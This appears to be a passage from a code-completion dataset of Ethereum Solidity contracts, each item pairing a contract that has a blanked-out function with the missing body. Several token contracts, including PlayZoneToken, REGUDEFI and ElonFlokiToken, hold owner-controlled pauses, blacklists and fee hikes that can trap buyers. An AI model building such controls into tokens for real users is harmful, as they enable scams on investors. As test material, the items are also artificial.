_tokenTransfer(from,to,amount,takeFee);
function _transfer(address from, address to, uint256 amount) private
function _transfer(address from, address to, uint256 amount) private
6195
PlayZoneToken
null
contract PlayZoneToken is OwnableToken, BurnableToken, StandardToken { string public name; string public symbol; uint8 public decimals; bool public paused = true; mapping(address => bool) public whitelist; modifier whenNotPaused() { require(!paused || whitelist[msg.sender]); _; } constructor(string _name,string _symbol,uint8 _decimals, address holder, address buffer) public {<FILL_FUNCTION_BODY> } function unpause() public onlyOwner { paused = false; } function pause() public onlyOwner { paused = true; } function addToWhitelist(address addr) public onlyOwner { whitelist[addr] = true; } function removeFromWhitelist(address addr) public onlyOwner { whitelist[addr] = false; } function transfer(address to, uint256 value) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } }
contract PlayZoneToken is OwnableToken, BurnableToken, StandardToken { string public name; string public symbol; uint8 public decimals; bool public paused = true; mapping(address => bool) public whitelist; modifier whenNotPaused() { require(!paused || whitelist[msg.sender]); _; } <FILL_FUNCTION> function unpause() public onlyOwner { paused = false; } function pause() public onlyOwner { paused = true; } function addToWhitelist(address addr) public onlyOwner { whitelist[addr] = true; } function removeFromWhitelist(address addr) public onlyOwner { whitelist[addr] = false; } function transfer(address to, uint256 value) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } }
name = _name; symbol = _symbol; decimals = _decimals; Transfer(address(0), holder, balances[holder] = totalSupply_ = uint256(10)**(9 + decimals)); addToWhitelist(holder); addToWhitelist(buffer);
constructor(string _name,string _symbol,uint8 _decimals, address holder, address buffer) public
constructor(string _name,string _symbol,uint8 _decimals, address holder, address buffer) public
52694
Ownable
transferOwnership
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner {<FILL_FUNCTION_BODY> } }
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } <FILL_FUNCTION> }
require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner;
function transferOwnership(address newOwner) public onlyOwner
/** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner
2380
owned
transferOwnership
contract owned { address public owner; /** * 初台化构造函数 */ function owned () public { owner = msg.sender; } /** * 判断当前合约调用者是否是合约的所有者 */ modifier onlyOwner { require (msg.sender == owner); _; } /** * 合约的所有者指派一个新的管理员 * @param newOwner address 新的管理员帐户地址 */ function transferOwnership(address newOwner) onlyOwner public {<FILL_FUNCTION_BODY> } }
contract owned { address public owner; /** * 初台化构造函数 */ function owned () public { owner = msg.sender; } /** * 判断当前合约调用者是否是合约的所有者 */ modifier onlyOwner { require (msg.sender == owner); _; } <FILL_FUNCTION> }
if (newOwner != address(0)) { owner = newOwner; }
function transferOwnership(address newOwner) onlyOwner public
/** * 合约的所有者指派一个新的管理员 * @param newOwner address 新的管理员帐户地址 */ function transferOwnership(address newOwner) onlyOwner public
47687
Context
_msgSender
contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) {<FILL_FUNCTION_BODY> } }
contract Context { constructor () internal { } <FILL_FUNCTION> }
return msg.sender;
function _msgSender() internal view returns (address payable)
// solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable)
29410
Ownable
transferOwnership
contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner {<FILL_FUNCTION_BODY> } }
contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } <FILL_FUNCTION> }
require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner;
function transferOwnership(address newOwner) public virtual onlyOwner
function transferOwnership(address newOwner) public virtual onlyOwner
65179
Ownable
transferOwnership
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner {<FILL_FUNCTION_BODY> } }
contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } <FILL_FUNCTION> }
require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner;
function transferOwnership(address newOwner) public onlyOwner
/** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner
62201
REGUDEFI
_transfer
contract REGUDEFI is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; mapping (address => bool) public isSniper; bool private _swapping; uint256 private _launchTime; address public feeWallet; address public burnAddress = 0x000000000000000000000000000000000000dEaD; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; bool public limitsInEffect = true; bool public dynamicFeesInEffect = false; bool public tradingActive = false; uint256 public fireSaleActive; uint256 public fireSaleTimer; uint256 public fireSaleAmt; uint256 public fireSaleRequirement; uint256 public resetRequirement; mapping (address => uint256) public userBurned; uint256 public buyFeeThreshold; uint256 public buyFeeRate; uint256 public buyTotalFees; uint256 private _buyMarketingFee; uint256 private _buyLiquidityFee; uint256 private _buyDevFee; uint256 public sellFeeThreshold; uint256 public sellFeeRate; uint256 public sellTotalFees; uint256 private _sellMarketingFee; uint256 private _sellLiquidityFee; uint256 private _sellDevFee; uint256 private _tokensForMarketing; uint256 private _tokensForLiquidity; uint256 private _tokensForDev; /******************/ // exlcude from fees and max transaction amount mapping (address => bool) public isExcludedFromFees; mapping (address => bool) public isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity); event Burn(uint256 burnAmount); event FeesReset(); event FireSaleBy(address user); event FireSale(); constructor() ERC20("Regulated DeFi", "REGU") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); isExcludedMaxTransactionAmount[address(_uniswapV2Router)] = true; uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); isExcludedMaxTransactionAmount[address(uniswapV2Pair)] = true; automatedMarketMakerPairs[address(uniswapV2Pair)] = true; uint256 totalSupply = 1e9 * 1e9; _buyMarketingFee = 6; _buyLiquidityFee = 2; _buyDevFee = 2; buyTotalFees = _buyMarketingFee + _buyLiquidityFee + _buyDevFee; _sellMarketingFee = 6; _sellLiquidityFee = 2; _sellDevFee = 2; sellTotalFees = _sellMarketingFee + _sellLiquidityFee + _sellDevFee; buyFeeRate = totalSupply * 5 / 1000; // 0.5% sellFeeRate = totalSupply * 25 / 10000; // 0.25% resetRequirement = totalSupply * 1 / 10000; // 0.01% fireSaleRequirement = totalSupply * 1 / 100; // 1% maxTransactionAmount = totalSupply * 1 / 100; // 1% maxWallet = totalSupply * 2 / 100; // 2% swapTokensAtAmount = totalSupply * 2 / 1000; // 0.2% feeWallet = address(owner()); // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(burnAddress), true); isExcludedMaxTransactionAmount[owner()] = true; isExcludedMaxTransactionAmount[address(this)] = true; isExcludedMaxTransactionAmount[address(burnAddress)] = true; /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; _launchTime = block.timestamp + 1; //Let's make sure the snipers don't just set 1 block ahead } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; dynamicFeesInEffect = true; fireSaleTimer = block.timestamp + 1 days; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) { require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function excludeFromFees(address account, bool excluded) public onlyOwner() { isExcludedFromFees[account] = excluded; } function updateFeeWallet(address newWallet) external onlyOwner { feeWallet = newWallet; } function setSnipers(address[] memory snipers_) external onlyOwner() { for (uint i = 0; i < snipers_.length; i++) { if (snipers_[i] != uniswapV2Pair && snipers_[i] != address(uniswapV2Router)) { isSniper[snipers_[i]] = true; } } } function delSnipers(address[] memory snipers_) external onlyOwner() { for (uint i = 0; i < snipers_.length; i++) { isSniper[snipers_[i]] = false; } } function setResetRequirement(uint256 requirement) external onlyOwner() { require(requirement >= totalSupply() * 1 / 100000, "Burn requirement cannot be lower than 0.001% total supply."); require(requirement <= totalSupply() * 5 / 1000, "Burn requirement cannot be higher than 0.5% total supply."); resetRequirement = requirement; } function setfireSaleRequirement(uint256 requirement) external onlyOwner() { require(requirement >= totalSupply() * 1 / 100000, "Burn requirement cannot be lower than 0.001% total supply."); require(requirement <= totalSupply() * 5 / 1000, "Burn requirement cannot be higher than 0.5% total supply."); fireSaleRequirement = requirement; } function _resetFees() private { _buyMarketingFee = 6; _buyLiquidityFee = 2; _buyDevFee = 2; buyTotalFees = _buyMarketingFee + _buyLiquidityFee + _buyDevFee; _sellMarketingFee = 6; _sellLiquidityFee = 2; _sellDevFee = 2; sellTotalFees = _sellMarketingFee + _sellLiquidityFee + _sellDevFee; } function resetFees() external { require(balanceOf(msg.sender) > resetRequirement, "You do not have enough tokens to reset fees!"); _resetFees(); fireSaleAmt += resetRequirement; transfer(burnAddress, resetRequirement); emit FeesReset(); } function fireSale() public { require(balanceOf(msg.sender) > fireSaleRequirement, "You do not have enough tokens to start a fire sale!"); fireSaleActive = block.timestamp + 2 hours; fireSaleTimer = block.timestamp + 1 days; fireSaleAmt = 0; transfer(burnAddress, fireSaleRequirement); emit FireSaleBy(msg.sender); } function _startFireSale() private { fireSaleActive = block.timestamp + 2 hours; fireSaleTimer = block.timestamp + 1 days; fireSaleAmt = 0; emit FireSale(); } function _transfer( address from, address to, uint256 amount ) internal override {<FILL_FUNCTION_BODY> } function _swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = _tokensForLiquidity + _tokensForMarketing + _tokensForDev; if (contractBalance == 0 || totalTokensToSwap == 0) return; if (contractBalance > swapTokensAtAmount * 20) contractBalance = swapTokensAtAmount * 20; // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * _tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; _swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(_tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(_tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; _tokensForLiquidity = 0; _tokensForMarketing = 0; _tokensForDev = 0; if (liquidityTokens > 0 && ethForLiquidity > 0) { _addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, _tokensForLiquidity); } } function withdrawFees() external { payable(feeWallet).transfer(address(this).balance); } receive() external payable {} }
contract REGUDEFI is ERC20, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; mapping (address => bool) public isSniper; bool private _swapping; uint256 private _launchTime; address public feeWallet; address public burnAddress = 0x000000000000000000000000000000000000dEaD; uint256 public maxTransactionAmount; uint256 public swapTokensAtAmount; uint256 public maxWallet; bool public limitsInEffect = true; bool public dynamicFeesInEffect = false; bool public tradingActive = false; uint256 public fireSaleActive; uint256 public fireSaleTimer; uint256 public fireSaleAmt; uint256 public fireSaleRequirement; uint256 public resetRequirement; mapping (address => uint256) public userBurned; uint256 public buyFeeThreshold; uint256 public buyFeeRate; uint256 public buyTotalFees; uint256 private _buyMarketingFee; uint256 private _buyLiquidityFee; uint256 private _buyDevFee; uint256 public sellFeeThreshold; uint256 public sellFeeRate; uint256 public sellTotalFees; uint256 private _sellMarketingFee; uint256 private _sellLiquidityFee; uint256 private _sellDevFee; uint256 private _tokensForMarketing; uint256 private _tokensForLiquidity; uint256 private _tokensForDev; /******************/ // exlcude from fees and max transaction amount mapping (address => bool) public isExcludedFromFees; mapping (address => bool) public isExcludedMaxTransactionAmount; // store addresses that a automatic market maker pairs. Any transfer *to* these addresses // could be subject to a maximum transfer amount mapping (address => bool) public automatedMarketMakerPairs; event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity); event Burn(uint256 burnAmount); event FeesReset(); event FireSaleBy(address user); event FireSale(); constructor() ERC20("Regulated DeFi", "REGU") { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); isExcludedMaxTransactionAmount[address(_uniswapV2Router)] = true; uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); isExcludedMaxTransactionAmount[address(uniswapV2Pair)] = true; automatedMarketMakerPairs[address(uniswapV2Pair)] = true; uint256 totalSupply = 1e9 * 1e9; _buyMarketingFee = 6; _buyLiquidityFee = 2; _buyDevFee = 2; buyTotalFees = _buyMarketingFee + _buyLiquidityFee + _buyDevFee; _sellMarketingFee = 6; _sellLiquidityFee = 2; _sellDevFee = 2; sellTotalFees = _sellMarketingFee + _sellLiquidityFee + _sellDevFee; buyFeeRate = totalSupply * 5 / 1000; // 0.5% sellFeeRate = totalSupply * 25 / 10000; // 0.25% resetRequirement = totalSupply * 1 / 10000; // 0.01% fireSaleRequirement = totalSupply * 1 / 100; // 1% maxTransactionAmount = totalSupply * 1 / 100; // 1% maxWallet = totalSupply * 2 / 100; // 2% swapTokensAtAmount = totalSupply * 2 / 1000; // 0.2% feeWallet = address(owner()); // exclude from paying fees or having max transaction amount excludeFromFees(owner(), true); excludeFromFees(address(this), true); excludeFromFees(address(burnAddress), true); isExcludedMaxTransactionAmount[owner()] = true; isExcludedMaxTransactionAmount[address(this)] = true; isExcludedMaxTransactionAmount[address(burnAddress)] = true; /* _mint is an internal function in ERC20.sol that is only called here, and CANNOT be called ever again */ _mint(msg.sender, totalSupply); } // once enabled, can never be turned off function enableTrading() external onlyOwner { tradingActive = true; _launchTime = block.timestamp + 1; //Let's make sure the snipers don't just set 1 block ahead } // remove limits after token is stable function removeLimits() external onlyOwner returns (bool) { limitsInEffect = false; dynamicFeesInEffect = true; fireSaleTimer = block.timestamp + 1 days; return true; } // change the minimum amount of tokens to sell from fees function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool) { require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply."); require(newAmount <= totalSupply() * 5 / 1000, "Swap amount cannot be higher than 0.5% total supply."); swapTokensAtAmount = newAmount; return true; } function excludeFromFees(address account, bool excluded) public onlyOwner() { isExcludedFromFees[account] = excluded; } function updateFeeWallet(address newWallet) external onlyOwner { feeWallet = newWallet; } function setSnipers(address[] memory snipers_) external onlyOwner() { for (uint i = 0; i < snipers_.length; i++) { if (snipers_[i] != uniswapV2Pair && snipers_[i] != address(uniswapV2Router)) { isSniper[snipers_[i]] = true; } } } function delSnipers(address[] memory snipers_) external onlyOwner() { for (uint i = 0; i < snipers_.length; i++) { isSniper[snipers_[i]] = false; } } function setResetRequirement(uint256 requirement) external onlyOwner() { require(requirement >= totalSupply() * 1 / 100000, "Burn requirement cannot be lower than 0.001% total supply."); require(requirement <= totalSupply() * 5 / 1000, "Burn requirement cannot be higher than 0.5% total supply."); resetRequirement = requirement; } function setfireSaleRequirement(uint256 requirement) external onlyOwner() { require(requirement >= totalSupply() * 1 / 100000, "Burn requirement cannot be lower than 0.001% total supply."); require(requirement <= totalSupply() * 5 / 1000, "Burn requirement cannot be higher than 0.5% total supply."); fireSaleRequirement = requirement; } function _resetFees() private { _buyMarketingFee = 6; _buyLiquidityFee = 2; _buyDevFee = 2; buyTotalFees = _buyMarketingFee + _buyLiquidityFee + _buyDevFee; _sellMarketingFee = 6; _sellLiquidityFee = 2; _sellDevFee = 2; sellTotalFees = _sellMarketingFee + _sellLiquidityFee + _sellDevFee; } function resetFees() external { require(balanceOf(msg.sender) > resetRequirement, "You do not have enough tokens to reset fees!"); _resetFees(); fireSaleAmt += resetRequirement; transfer(burnAddress, resetRequirement); emit FeesReset(); } function fireSale() public { require(balanceOf(msg.sender) > fireSaleRequirement, "You do not have enough tokens to start a fire sale!"); fireSaleActive = block.timestamp + 2 hours; fireSaleTimer = block.timestamp + 1 days; fireSaleAmt = 0; transfer(burnAddress, fireSaleRequirement); emit FireSaleBy(msg.sender); } function _startFireSale() private { fireSaleActive = block.timestamp + 2 hours; fireSaleTimer = block.timestamp + 1 days; fireSaleAmt = 0; emit FireSale(); } <FILL_FUNCTION> function _swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = _tokensForLiquidity + _tokensForMarketing + _tokensForDev; if (contractBalance == 0 || totalTokensToSwap == 0) return; if (contractBalance > swapTokensAtAmount * 20) contractBalance = swapTokensAtAmount * 20; // Halve the amount of liquidity tokens uint256 liquidityTokens = contractBalance * _tokensForLiquidity / totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; _swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(_tokensForMarketing).div(totalTokensToSwap); uint256 ethForDev = ethBalance.mul(_tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; _tokensForLiquidity = 0; _tokensForMarketing = 0; _tokensForDev = 0; if (liquidityTokens > 0 && ethForLiquidity > 0) { _addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, _tokensForLiquidity); } } function withdrawFees() external { payable(feeWallet).transfer(address(this).balance); } receive() external payable {} }
require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(!isSniper[from], "Your address has been marked as a sniper, you are unable to transfer or swap."); if (amount == 0) { super._transfer(from, to, 0); return; } if (block.timestamp <= _launchTime) isSniper[to] = true; if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(burnAddress) && !_swapping ) { if (!tradingActive) require(isExcludedFromFees[from] || isExcludedFromFees[to], "Trading is not active."); // when buy if (automatedMarketMakerPairs[from] && !isExcludedMaxTransactionAmount[to]) { require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount."); require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded"); } // when sell else if (automatedMarketMakerPairs[to] && !isExcludedMaxTransactionAmount[from]) { require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount."); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && !_swapping && !automatedMarketMakerPairs[from] && !isExcludedFromFees[from] && !isExcludedFromFees[to] ) { _swapping = true; swapBack(); _swapping = false; } // dynamic change if (dynamicFeesInEffect && block.timestamp > fireSaleActive) { // on sell if (automatedMarketMakerPairs[to]) { sellFeeThreshold += amount; uint256 feeAdd = sellFeeThreshold.div(sellFeeRate); if (feeAdd > 0) { if (_sellLiquidityFee < 12) { if (feeAdd > 10) { _sellLiquidityFee += 10; } else { _sellLiquidityFee += feeAdd; } } sellFeeThreshold -= feeAdd.mul(sellFeeRate); } } // on buy else if (automatedMarketMakerPairs[from]) { buyFeeThreshold += amount; uint256 feeAdd = buyFeeThreshold.div(buyFeeRate); if (feeAdd > 0) { if (_buyLiquidityFee > 0) { if (feeAdd > 2) { _buyLiquidityFee -= 2; } else { _buyLiquidityFee -= feeAdd; } } buyFeeThreshold -= feeAdd.mul(buyFeeRate); } } } // set new totals buyTotalFees = _buyMarketingFee + _buyLiquidityFee + _buyDevFee; sellTotalFees = _sellMarketingFee + _sellLiquidityFee + _sellDevFee; bool takeFee = !_swapping; // if any account belongs to _isExcludedFromFee account then remove the fee if (isExcludedFromFees[from] || isExcludedFromFees[to]) takeFee = false; uint256 fees = 0; // only take fees on buys/sells, do not take on wallet transfers if (takeFee) { // on sell if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); _tokensForLiquidity += fees * _sellLiquidityFee / sellTotalFees; _tokensForDev += fees * _sellDevFee / sellTotalFees; _tokensForMarketing += fees * _sellMarketingFee / sellTotalFees; } // on buy else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); _tokensForLiquidity += fees * _buyLiquidityFee / buyTotalFees; _tokensForDev += fees * _buyDevFee / buyTotalFees; _tokensForMarketing += fees * _buyMarketingFee / buyTotalFees; } if (fees > 0) super._transfer(from, address(this), fees); amount -= fees; } if (block.timestamp > fireSaleActive && fireSaleActive > 0) { fireSaleActive = 0; _resetFees(); } // reset firesale if time passed if (block.timestamp > fireSaleTimer) { fireSaleTimer = block.timestamp + 1 days; fireSaleAmt = 0; } // if it's a burn if (to == burnAddress) { userBurned[msg.sender] += amount; fireSaleAmt += amount; if (fireSaleAmt >= fireSaleRequirement) _startFireSale(); emit Burn(amount); } super._transfer(from, to, amount);
function _transfer( address from, address to, uint256 amount ) internal override
function _transfer( address from, address to, uint256 amount ) internal override
500
owned
owned
contract owned { address public owner; function owned() {<FILL_FUNCTION_BODY> } modifier onlyOwner { if (msg.sender != owner) throw; _; } function transferOwnership(address newOwner) onlyOwner { owner = newOwner; } }
contract owned { address public owner; <FILL_FUNCTION> modifier onlyOwner { if (msg.sender != owner) throw; _; } function transferOwnership(address newOwner) onlyOwner { owner = newOwner; } }
owner = msg.sender;
function owned()
function owned()
93465
ElonFlokiToken
addLiquidityETH
contract ElonFlokiToken is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "ElonFloki | t.me/eflokitoken"; string private constant _symbol = "eFloki \xF0\x9F\x92\xB9"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 5; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; uint256 private _cooldownSeconds = 30; uint256 private _launchTime; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool isEnabled) external onlyOwner() { cooldownEnabled = isEnabled; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 1; _teamFee = 20; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { if (block.timestamp < _launchTime + 7 minutes) { require(cooldown[to] < block.timestamp); require(amount <= _maxTxAmount); cooldown[to] = block.timestamp + (_cooldownSeconds * 1 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { if (contractTokenBalance > 0) { swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function addLiquidityETH() external onlyOwner() {<FILL_FUNCTION_BODY> } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { 